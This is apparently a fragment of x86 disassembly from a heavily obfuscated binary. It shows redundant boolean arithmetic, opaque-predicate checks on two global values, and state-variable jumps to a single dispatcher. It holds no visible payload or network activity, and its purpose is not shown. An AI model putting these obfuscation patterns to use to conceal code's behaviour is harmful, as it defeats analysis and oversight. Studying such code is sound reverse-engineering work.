xor bh, ah
mov ch, 1
xor ch, 1
mov ah, dl
xor ah, ch
and ah, dl
mov dl, bh
xor dl, 0xff
mov ch, al
xor ch, dl
and ch, al
mov al, dh
xor al, 0xff
mov bl, 1
xor bl, 1
mov dl, 1
xor dl, 0
or al, bl
or dl, 0
xor al, 0xff
and al, dl
xor cl, 0xff
mov bl, bh
xor bl, 0xff
mov dl, 1
xor dl, 1
or cl, bl
or dl, 1
xor cl, 0xff
and cl, dl
mov dl, ah
and dl, ch
xor ah, ch
or dl, ah
mov byte [ebp - 0xa7c], dl
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov ch, 1
xor ch, 1
mov dl, ah
and dl, 0xff
and al, ch
mov byte [ebp - 0xa7e], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xa7d], al
mov al, byte [ebp - 0xa7e]
and cl, ch
or dl, al
mov al, byte [ebp - 0xa7d]
or al, cl
mov cl, byte [ebp - 0xa7c]
xor dl, al
mov al, byte [ebp - 0xa7b]
or ah, bl
xor ah, 0xff
or ch, 1
and ah, ch
or dl, ah
mov ah, cl
xor ah, 0xff
mov bl, dl
and bl, ah
xor dl, 0xff
and cl, dl
or bl, cl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0xa7a], ah
mov dl, dh
xor dl, 0xff
mov cl, 1
xor cl, 1
and ah, 0xff
and al, cl
mov ch, dl
and ch, 0xff
and dh, cl
or ah, al
mov al, byte [ebp - 0xa7a]
or ch, dh
xor ah, ch
or al, dl
xor al, 0xff
or cl, 1
and al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0xa79], al
mov dl, 1
xor dl, 1
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
mov cl, dl
and cl, 0
mov al, ah
and al, 1
mov dh, ch
and dh, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0xa79]
or dh, bh
xor cl, dh
or dl, ch
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x20f3b408
mov ecx, 0xd04c99ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
xor esi, esi
sub esi, ecx
xor edx, edx
sub edx, 0xc9fd5643
add esi, edx
xor edx, edx
sub edx, esi
sub edx, 0x3806676e
add edx, 0x7935186f
add edx, 0x3806676e
sub edx, 0x4e910b69
sub edx, 0xc9fd5643
add edx, 0x4e910b69
mov esi, 0x988b1a03
add esi, 0
sub esi, 1
sub esi, 0x988b1a03
add edx, 0x21c59e36
add edx, esi
sub edx, 0x21c59e36
xor esi, esi
sub esi, 0xbb182c99
sub edx, esi
sub edx, 0xe38828a1
sub edx, 0x7935186f
add edx, 0xe38828a1
sub edx, 0x2f7365b2
sub edx, 0xbb182c99
add edx, 0x2f7365b2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
mov byte [ebp - 0xbc2], dl
cmp eax, 0xa
setl bh
mov bl, dl
xor bl, 0xff
and bl, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, dl
or al, cl
xor bl, al
mov al, bh
xor al, 0xff
and al, 0
mov dl, 1
xor dl, 0
mov ah, bh
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov dl, 1
xor dl, 1
and dl, 1
mov cl, 1
xor cl, 1
and cl, 1
or dl, cl
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov cl, ah
and cl, 0
and bl, ch
mov byte [ebp - 0xbc4], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0xbc3], al
mov al, byte [ebp - 0xbc4]
or cl, al
mov al, byte [ebp - 0xbc3]
or bl, al
mov al, byte [ebp - 0xbc2]
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or cl, ah
mov ah, dl
and ah, 1
xor dl, 1
or ah, dl
mov dl, cl
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and cl, ch
or dl, cl
xor dl, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 1
or dl, ah
or cl, 1
xor dl, 0xff
and dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, al
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov bl, 1
xor bl, 1
xor ah, 0xff
mov cl, 1
xor cl, 0
or bl, ah
or cl, 0
xor bl, 0xff
and bl, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov byte [ebp - 0xbc1], al
mov ch, bh
xor ch, 0xff
and ch, 1
mov dh, 1
xor dh, 1
mov al, bh
and al, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, al
mov al, byte [ebp - 0xbc1]
or cl, dh
xor ch, cl
mov dh, 1
xor dh, 1
mov cl, ch
xor cl, dh
and cl, ch
mov byte [ebp - 0xbbe], cl
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or bh, ah
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
mov ch, cl
and ch, 0xff
and bl, ah
mov byte [ebp - 0xbc0], bl
mov bl, dh
and bl, 0xff
and al, ah
mov byte [ebp - 0xbbf], al
mov al, byte [ebp - 0xbc0]
or ch, al
mov al, byte [ebp - 0xbbf]
or bl, al
mov al, byte [ebp - 0xbbe]
xor ch, bl
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
or ch, cl
mov cl, al
xor cl, 0xff
mov byte [ebp - 0xbbd], cl
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 0
and cl, 0
and al, ah
mov bl, dh
and bl, 0
and bh, ah
or cl, al
mov al, byte [ebp - 0xbbd]
or bl, bh
xor cl, bl
or al, dh
xor al, 0xff
or ah, 0
and al, ah
or cl, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and ch, dh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, dh
or ah, ch
or al, cl
xor ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xadb456df
mov ecx, 0x9e4e7195
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov dword [ebp - 0xc0c], ecx
mov esi, 0xffffffff
xor esi, 0x80000000
and esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x80000000
or esi, eax
mov eax, 0xffffffff
xor eax, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xefe51747
or eax, esi
or edx, 0xefe51747
xor eax, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x1c6565e1
mov edi, 0xffffffff
xor edi, 0x1c6565e1
mov ebx, edi
and ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
and esi, 0x1c6565e1
and edi, 0xffffffff
or edx, ebx
or esi, edi
xor edx, esi
xor edx, 0xffffffff
xor edx, 0x80000000
and edx, 0x80000000
mov edi, eax
and edi, edx
xor eax, edx
or edi, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xffffffff
mov edx, ecx
and edx, esi
or eax, edx
xor eax, 0xffffffff
mov ebx, edi
xor ebx, eax
and ebx, edi
mov edx, edi
xor edx, 0xffffffff
and edx, 0xb2faf1f9
mov esi, 0xffffffff
xor esi, 0xb2faf1f9
and edi, esi
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xb2faf1f9
and esi, 0xffffffff
or edx, edi
or eax, esi
xor edx, eax
xor edx, 0xffffffff
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, ebx
xor ecx, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x2780d6d1
mov edx, ecx
and edx, 0x2780d6d1
and ebx, esi
mov dword [ebp - 0xc14], ebx
mov ebx, edi
and ebx, 0x2780d6d1
and eax, esi
mov dword [ebp - 0xc10], eax
mov eax, dword [ebp - 0xc14]
or edx, eax
mov eax, dword [ebp - 0xc10]
or ebx, eax
mov eax, dword [ebp - 0xc0c]
xor edx, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0x2780d6d1
and ecx, esi
or edx, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0x279e297d
mov ebx, 0xffffffff
xor ebx, 0x279e297d
mov edi, edx
and edi, ebx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0x279e297d
and esi, ebx
or eax, edi
or ecx, esi
xor eax, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x6d1d6092
or eax, edx
or ecx, 0x6d1d6092
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x45], al
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
xor esi, esi
sub esi, 0x6d3efcd2
mov edx, ecx
add edx, esi
add edx, 0xef07287a
add edx, 0xf4808d76
sub edx, 0xef07287a
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x6d3efcd2
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, 0xea6860ce
add edx, esi
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0xea6860ce
sub edx, esi
mov edi, 0x46e884ef
add edi, 0
sub edi, 0xf4808d76
sub edi, 0x46e884ef
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete ch
cmp eax, 0xa
setl al
mov byte [ebp - 0xbf6], al
mov dl, ch
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
mov ah, ch
and ah, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ah
or al, cl
xor dl, al
mov cl, 1
xor cl, 0
xor dl, 0xff
mov al, 1
xor al, 0
or cl, dl
or al, 0
xor cl, 0xff
and cl, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov al, ah
xor al, 0xff
mov bl, ch
xor bl, al
and bl, ch
mov dl, 1
xor dl, 1
and dl, 0
mov bh, 1
xor bh, 0
mov dh, bh
and dh, 1
mov al, 1
xor al, 1
and al, 0
and bh, 1
or dl, dh
mov dh, byte [ebp - 0xbf6]
or al, bh
xor dl, al
xor dl, 0xff
mov bh, 1
xor bh, 0
mov al, 1
xor al, 0
or dl, bh
or al, 0
xor dl, 0xff
and dl, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, cl
and al, bl
xor cl, bl
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov bl, cl
and bl, dl
xor cl, 0xff
and al, cl
or bl, al
mov cl, dh
xor cl, 0xff
and cl, 1
mov dl, 1
xor dl, 1
mov ah, dh
and ah, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or cl, ah
or al, dl
xor cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov al, 1
xor al, 1
and al, 1
or bh, al
xor dh, 0xff
mov dl, bh
xor dl, 0xff
mov al, 1
xor al, 1
or dh, dl
or al, 1
xor dh, 0xff
and dh, al
mov dl, 1
xor dl, 1
and dl, 0
mov ah, 1
xor ah, 0
mov al, ah
and al, 1
mov byte [ebp - 0xc08], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xc07], al
mov al, byte [ebp - 0xc08]
and ah, 1
or dl, al
mov al, byte [ebp - 0xc07]
or al, ah
xor dl, al
xor dl, 0xff
mov ah, 1
xor ah, 1
mov al, 1
xor al, 0
or dl, ah
or al, 0
xor dl, 0xff
and dl, al
mov ah, 1
xor ah, 1
xor bh, 0xff
mov al, 1
xor al, 0
or ah, bh
or al, 0
xor ah, 0xff
and ah, al
mov al, cl
and al, dh
xor cl, dh
or al, cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov cl, 1
xor cl, 0
and cl, 0
mov dl, 1
xor dl, 0
mov ah, dl
and ah, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov dl, 1
xor dl, 0
xor cl, 0xff
mov al, 1
xor al, 0
or dl, cl
or al, 0
xor dl, 0xff
and dl, al
mov ah, 1
xor ah, 0
and ah, 1
mov al, 1
xor al, 1
and al, 0
or ah, al
mov bh, 1
xor bh, 0
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov byte [ebp - 0xc06], al
mov cl, 1
xor cl, 0
xor al, cl
mov cl, byte [ebp - 0xc06]
and al, cl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, dl
and cl, bh
xor dl, bh
or cl, dl
mov dl, al
and dl, ah
xor al, ah
or dl, al
mov ah, cl
xor ah, 0xff
mov al, dl
and al, ah
xor dl, 0xff
and cl, dl
or al, cl
mov byte [ebp - 0xbcc], al
mov cl, bl
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov ah, bl
and ah, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, ah
or al, dl
xor cl, al
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
mov byte [ebp - 0xc05], bh
mov al, 1
xor al, 0
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
or al, dl
mov byte [ebp - 0xc00], al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov ah, 1
xor ah, 0
mov al, dl
and al, 0
mov byte [ebp - 0xc04], al
and cl, ah
mov al, bh
and al, 0
mov byte [ebp - 0xc03], al
mov al, byte [ebp - 0xc05]
and al, ah
mov byte [ebp - 0xc02], al
mov al, byte [ebp - 0xc04]
or al, cl
mov cl, byte [ebp - 0xc03]
mov byte [ebp - 0xc01], al
mov al, byte [ebp - 0xc02]
or cl, al
mov al, byte [ebp - 0xc01]
xor al, cl
mov cl, byte [ebp - 0xc00]
or dl, bh
xor dl, 0xff
or ah, 0
and dl, ah
or al, dl
mov byte [ebp - 0xbfc], al
mov ah, 1
xor ah, 0
mov byte [ebp - 0xbfd], ah
mov bh, cl
xor bh, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
mov al, dl
and al, 0
mov byte [ebp - 0xbff], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xbfe], al
mov al, byte [ebp - 0xbff]
and cl, dl
or ah, al
mov al, byte [ebp - 0xbfe]
or al, cl
mov cl, byte [ebp - 0xbfd]
xor ah, al
mov al, byte [ebp - 0xbfc]
or cl, bh
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
and al, bh
mov cl, 1
xor cl, 1
and cl, 0
and bh, 1
or dl, al
mov al, byte [ebp - 0xbcc]
or cl, bh
xor dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov byte [ebp - 0xbf4], cl
mov dl, ch
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, ch
or cl, ah
xor dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
and al, cl
or ah, al
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov bh, ch
and bh, 1
mov al, 1
xor al, 1
and al, 0
and ch, 1
or cl, bh
or al, ch
xor cl, al
mov al, dl
and al, ah
xor dl, ah
or al, dl
mov dl, cl
and dl, 1
xor cl, 1
or dl, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and al, ah
or cl, al
xor dl, 0xff
mov al, cl
xor al, dl
and al, cl
mov byte [ebp - 0xbf3], al
mov bh, dh
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov dl, dh
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bh, dl
or al, cl
xor bh, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov cl, 1
xor cl, 0
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0
or cl, dl
mov dl, bh
xor dl, 0xff
mov byte [ebp - 0xbf9], dl
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 1
and dl, 0xff
and bh, ah
mov byte [ebp - 0xbfb], bh
mov bh, ch
and bh, 0xff
and al, ah
mov byte [ebp - 0xbfa], al
mov al, byte [ebp - 0xbfb]
or dl, al
mov al, byte [ebp - 0xbfa]
or bh, al
mov al, byte [ebp - 0xbf9]
xor dl, bh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or dl, al
mov ah, 1
xor ah, 0
mov byte [ebp - 0xbf5], ah
mov ch, cl
xor ch, 0xff
mov bh, 1
xor bh, 1
and ah, 0xff
mov al, bh
and al, 0
mov byte [ebp - 0xbf8], al
mov al, ch
and al, 0xff
mov byte [ebp - 0xbf7], al
mov al, byte [ebp - 0xbf8]
and cl, bh
or ah, al
mov al, byte [ebp - 0xbf7]
or al, cl
mov cl, byte [ebp - 0xbf6]
xor ah, al
mov al, byte [ebp - 0xbf5]
or al, ch
mov ch, byte [ebp - 0xbf4]
xor al, 0xff
or bh, 1
and al, bh
or ah, al
mov bh, dl
xor bh, 0xff
and bh, 1
mov al, 1
xor al, 1
and dl, al
mov al, byte [ebp - 0xbcc]
or bh, dl
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 1
or bh, ah
or dl, 1
xor bh, 0xff
and bh, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov al, cl
xor al, 0xff
mov ah, dl
and ah, al
xor dl, 0xff
mov al, cl
and al, dl
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ch
mov ch, byte [ebp - 0xbf3]
or cl, dl
xor al, cl
mov byte [ebp - 0xbec], al
mov al, ch
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ch, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ch
or cl, dl
xor al, cl
mov byte [ebp - 0xbee], al
mov cl, 1
xor cl, 0
and cl, 0
mov ch, 1
xor ch, 0
mov al, ch
and al, 0
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or cl, al
mov al, byte [ebp - 0xbf4]
or dl, ch
mov ch, byte [ebp - 0xbec]
xor cl, dl
mov byte [ebp - 0xbe7], cl
mov cl, 1
xor cl, 0
mov dl, ch
xor dl, cl
mov cl, byte [ebp - 0xbe7]
and dl, ch
xor al, 0xff
xor cl, 0xff
mov ch, 1
xor ch, 1
or al, cl
mov cl, byte [ebp - 0xbf3]
or ch, 1
xor al, 0xff
and al, ch
mov ch, byte [ebp - 0xbee]
mov byte [ebp - 0xbf0], al
xor ch, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0xbf2], al
mov al, 1
xor al, 1
mov byte [ebp - 0xbf1], al
mov al, byte [ebp - 0xbf2]
or ch, al
mov al, byte [ebp - 0xbf1]
or al, 1
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0xbe7]
mov byte [ebp - 0xbef], ch
xor cl, 0xff
xor al, 0xff
mov ch, 1
xor ch, 0
or cl, al
mov al, byte [ebp - 0xbf0]
or ch, 0
xor cl, 0xff
and cl, ch
mov ch, dl
and ch, al
xor dl, al
mov al, byte [ebp - 0xbef]
or ch, dl
mov dl, al
and dl, cl
xor al, cl
mov cl, byte [ebp - 0xbee]
or dl, al
mov byte [ebp - 0xbed], dl
mov al, ch
xor al, 0xff
and dl, al
mov al, byte [ebp - 0xbed]
xor al, 0xff
and ch, al
mov al, byte [ebp - 0xbec]
or dl, ch
mov byte [ebp - 0xbe1], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xbe8], dl
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0xbe9], ch
mov ch, 1
xor ch, 1
and dl, 0xff
and al, ch
mov byte [ebp - 0xbeb], al
mov al, byte [ebp - 0xbe9]
and al, 0xff
mov byte [ebp - 0xbea], al
mov al, byte [ebp - 0xbeb]
and cl, ch
or dl, al
mov al, byte [ebp - 0xbea]
or al, cl
mov cl, byte [ebp - 0xbe9]
xor dl, al
mov al, byte [ebp - 0xbe8]
or al, cl
mov cl, byte [ebp - 0xbe7]
xor al, 0xff
or ch, 1
and al, ch
or dl, al
mov al, dl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and dl, ch
or al, dl
mov byte [ebp - 0xbe4], al
mov dl, 1
xor dl, 0
mov al, cl
xor al, 0xff
mov byte [ebp - 0xbe3], al
mov al, 1
xor al, 0
mov byte [ebp - 0xbe2], al
mov ch, dl
and ch, 0
and al, 0
mov byte [ebp - 0xbe6], al
mov al, byte [ebp - 0xbe3]
and al, 0
mov byte [ebp - 0xbe5], al
mov al, byte [ebp - 0xbe2]
and cl, al
mov al, byte [ebp - 0xbe6]
or ch, al
mov al, byte [ebp - 0xbe5]
or al, cl
mov cl, byte [ebp - 0xbe4]
xor ch, al
mov al, byte [ebp - 0xbe3]
or dl, al
mov al, byte [ebp - 0xbe2]
xor dl, 0xff
or al, 0
and dl, al
mov al, byte [ebp - 0xbe1]
or ch, dl
xor cl, 0xff
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, bh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov cl, bh
and cl, ch
or al, cl
mov byte [ebp - 0xbd6], al
mov cl, ah
xor cl, 0xff
and cl, 1
mov al, 1
xor al, 1
mov ch, ah
and ch, al
mov al, byte [ebp - 0xbd6]
or cl, ch
mov byte [ebp - 0xbd7], cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
and ch, 1
or cl, ch
mov byte [ebp - 0xbd3], cl
xor al, 0xff
mov ch, 1
xor ch, 1
mov cl, 1
xor cl, 0
or al, ch
mov ch, byte [ebp - 0xbd3]
or cl, 0
xor al, 0xff
and al, cl
xor ch, 0xff
mov cl, bh
xor cl, ch
mov ch, byte [ebp - 0xbd7]
and cl, bh
mov bh, 1
xor bh, 1
xor ch, bh
mov bh, byte [ebp - 0xbd7]
and ch, bh
mov bh, byte [ebp - 0xbd3]
mov byte [ebp - 0xbdc], ch
xor ah, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 1
or ah, bh
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0xbde], ah
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0xbdd], ch
mov bh, 1
xor bh, 1
mov ch, ah
and ch, 0xff
and al, bh
mov byte [ebp - 0xbe0], al
mov al, byte [ebp - 0xbdd]
and al, 0xff
mov byte [ebp - 0xbdf], al
mov al, byte [ebp - 0xbe0]
and cl, bh
or ch, al
mov al, byte [ebp - 0xbdf]
or al, cl
mov cl, byte [ebp - 0xbde]
xor ch, al
mov al, byte [ebp - 0xbdd]
or ah, al
mov al, byte [ebp - 0xbdc]
xor ah, 0xff
or bh, 1
and ah, bh
or ch, ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xbd8], bh
mov ah, cl
xor ah, 0xff
mov byte [ebp - 0xbd9], ah
mov ah, 1
xor ah, 0
and bh, 0
and al, ah
mov byte [ebp - 0xbdb], al
mov al, byte [ebp - 0xbd9]
and al, 0
mov byte [ebp - 0xbda], al
mov al, byte [ebp - 0xbdb]
and cl, ah
or bh, al
mov al, byte [ebp - 0xbda]
or al, cl
mov cl, byte [ebp - 0xbd9]
xor bh, al
mov al, byte [ebp - 0xbd8]
or al, cl
mov cl, byte [ebp - 0xbd7]
xor al, 0xff
or ah, 0
and al, ah
or bh, al
mov al, ch
xor al, 0xff
mov ah, bh
and ah, al
mov al, byte [ebp - 0xbd6]
xor bh, 0xff
and ch, bh
or ah, ch
mov byte [ebp - 0xbcd], ah
mov bh, al
xor bh, 0xff
mov byte [ebp - 0xbd2], bh
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 0
and bh, 0
and al, ah
mov byte [ebp - 0xbd5], al
mov al, ch
and al, 0
mov byte [ebp - 0xbd4], al
mov al, byte [ebp - 0xbd5]
and cl, ah
or bh, al
mov al, byte [ebp - 0xbd4]
or al, cl
mov cl, byte [ebp - 0xbd3]
xor bh, al
mov al, byte [ebp - 0xbd2]
or al, ch
xor al, 0xff
or ah, 0
and al, ah
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
and bh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, bh
or ah, ch
xor al, ah
mov byte [ebp - 0xbcf], al
mov ch, 1
xor ch, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0xbce], al
mov ah, 1
xor ah, 0
mov bh, ch
and bh, 0
mov al, ah
and al, 1
mov byte [ebp - 0xbd1], al
mov al, byte [ebp - 0xbce]
and al, 0
mov byte [ebp - 0xbd0], al
mov al, byte [ebp - 0xbd1]
and cl, ah
or bh, al
mov al, byte [ebp - 0xbd0]
or al, cl
mov cl, byte [ebp - 0xbcf]
xor bh, al
mov al, byte [ebp - 0xbce]
or ch, al
mov al, byte [ebp - 0xbcd]
xor ch, 0xff
or ah, 0
and ch, ah
mov ah, byte [ebp - 0xbcc]
or bh, ch
xor bh, 0xff
mov ch, cl
xor ch, bh
and ch, cl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
mov al, dl
and al, bh
or ch, al
xor ch, 0xff
mov al, cl
xor al, ch
and al, cl
mov ch, cl
xor ch, 0xff
and ch, 1
mov bh, 1
xor bh, 1
and cl, bh
or ch, cl
xor ch, 0xff
mov cl, dl
xor cl, ch
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, bl
xor al, 0xff
mov ch, dh
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov bh, 1
xor bh, 1
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0xff
and dh, bh
or cl, bl
or ch, dh
xor cl, ch
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov ch, bl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov cl, 1
xor cl, 1
and cl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov al, 1
xor al, 1
and al, 0
and dh, 1
or cl, bh
or al, dh
xor cl, al
xor bl, 0xff
mov dh, cl
xor dh, 0xff
mov al, 1
xor al, 0
or bl, dh
or al, 0
xor bl, 0xff
and bl, al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
xor al, 0xff
mov bh, 1
xor bh, 1
mov dh, 1
xor dh, 1
or al, bh
or dh, 1
xor al, 0xff
and al, dh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, ch
and dh, bl
xor ch, bl
or dh, ch
mov ch, al
and ch, cl
xor al, cl
or ch, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, 1
xor bl, 0
and dh, bl
mov cl, ch
xor cl, 0xff
and cl, 0
and ch, bl
or al, dh
or cl, ch
xor al, cl
mov byte [ebp - 0xbc7], al
mov ch, 1
xor ch, 0
and ch, 0
mov cl, 1
xor cl, 0
mov dh, cl
and dh, 0
mov al, 1
xor al, 1
and al, 0
and cl, 1
